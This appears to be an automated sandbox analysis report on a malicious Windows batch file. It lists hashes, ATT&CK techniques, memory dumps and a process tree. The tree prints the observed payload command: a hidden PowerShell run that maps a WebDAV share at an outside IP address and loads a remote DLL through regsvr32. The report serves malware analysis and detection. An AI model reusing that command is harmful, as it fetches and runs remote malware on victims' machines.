f83a20c3c3e945153b381d7e4c76d49080a65710db2a1f4dc1030aefe27eaafd

Analysis

max time kernel
100s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 20:31

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General

Target

2973946871269414620.bat
Size

10KB
MD5

c92bd4a438ecdcec615706c361559e2b
SHA1

c686178f71310ff82aa0fcae13dfb2eb46605a8d
SHA256

f83a20c3c3e945153b381d7e4c76d49080a65710db2a1f4dc1030aefe27eaafd
SHA512

7f5746377ab409234309182e43afd78931df694de33c897fd9502c1a3bdf85ecc6c7c2fe8ebb9704f791235648e488fac52210e804c23ab8ce83259aa6cedfdf
SSDEEP

192:kK6bX6T//u/JvgOaekPJbh3HI5gZohxFzHt/p3pakb65SLX:DP/4gAcd3HI5SExZlCQ65SLX

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2952	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2952	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2936	wordpad.exe
2936	wordpad.exe
2936	wordpad.exe
2936	wordpad.exe
2936	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1592 wrote to memory of 2936	1592	cmd.exe	31
PID 1592 wrote to memory of 2936	1592	cmd.exe	31
PID 1592 wrote to memory of 2936	1592	cmd.exe	31
PID 1592 wrote to memory of 2952	1592	cmd.exe	32
PID 1592 wrote to memory of 2952	1592	cmd.exe	32
PID 1592 wrote to memory of 2952	1592	cmd.exe	32
PID 2952 wrote to memory of 2892	2952	powershell.exe	34
PID 2952 wrote to memory of 2892	2952	powershell.exe	34
PID 2952 wrote to memory of 2892	2952	powershell.exe	34
PID 2952 wrote to memory of 2928	2952	powershell.exe	35
PID 2952 wrote to memory of 2928	2952	powershell.exe	35
PID 2952 wrote to memory of 2928	2952	powershell.exe	35
PID 2952 wrote to memory of 2928	2952	powershell.exe	35
PID 2952 wrote to memory of 2928	2952	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2973946871269414620.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\343446776461.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2892
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\343446776461.dll
    3⤵
    PID:2928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1592-17-0x0000000002340000-0x0000000002440000-memory.dmp

Filesize
1024KB

Download
memory/1592-16-0x0000000002340000-0x0000000002440000-memory.dmp

Filesize
1024KB

Download
memory/2952-23-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2952-24-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download